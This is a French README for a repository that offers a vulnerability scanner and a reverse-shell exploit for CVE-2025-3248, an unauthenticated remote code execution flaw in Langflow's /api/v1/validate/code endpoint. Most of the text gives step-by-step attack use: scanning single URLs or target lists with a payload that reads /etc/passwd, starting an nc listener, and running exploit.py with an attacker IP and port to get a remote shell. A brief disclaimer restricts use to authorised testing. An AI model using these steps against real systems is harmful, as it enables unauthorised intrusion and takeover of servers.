CVE-2025-3248 : Exécution de code à distance non authentifiée (RCE) dans Langflow

Ce dépôt contient deux scripts Python :

• LangflowCheck.py : un scanner qui vérifie les instances Langflow AI vulnérables à la CVE-2025-3248.
• exploit.py : un exploit de shell inversé fonctionnel pour les cibles Langflow vulnérables.

Résumé

CVE-2025-3248 est une vulnérabilité critique dans Langflow AI qui permet à des attaquants non authentifiés d'exécuter du code Python arbitraire à distance via une charge utile spécialement conçue envoyée à /api/v1/validate/code.

Fichiers

LangflowCheck.py

• Vérifie si une cible est vulnérable en tentant d'exécuter une charge utile inoffensive qui lit /etc/passwd.
• Peut analyser une seule cible ou une liste d'URL.
• Prend en charge l'écriture des cibles vulnérables dans un fichier.

exploit.py

• Envoie une charge utile de shell inversé à l'endpoint vulnérable.
• Nécessite l'IP de l'attaquant (lhost) et le port d'écoute (lport).
• Journalise l'activité dans exploit.log.
• Prend en charge la vérification du listener avant l'envoi de la charge utile.

Utilisation

1. Installer les dépendances

pip install -r requirements.txt

2. Lancer le scanner de vulnérabilités

URL unique

python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt

Cibles multiples

python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt

3. Exploiter une cible

D'abord, démarrez un listener

sudo nc -nvlp 4444

Ensuite, exécutez l'exploit :

python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444

Vous devriez recevoir un shell si la cible est vulnérable.

⚠️ Avertissement

Cet exploit est destiné uniquement à des tests de sécurité éducatifs et autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite.

Chaînes officielles

• YouTube @rootctf
• X @r0otk3r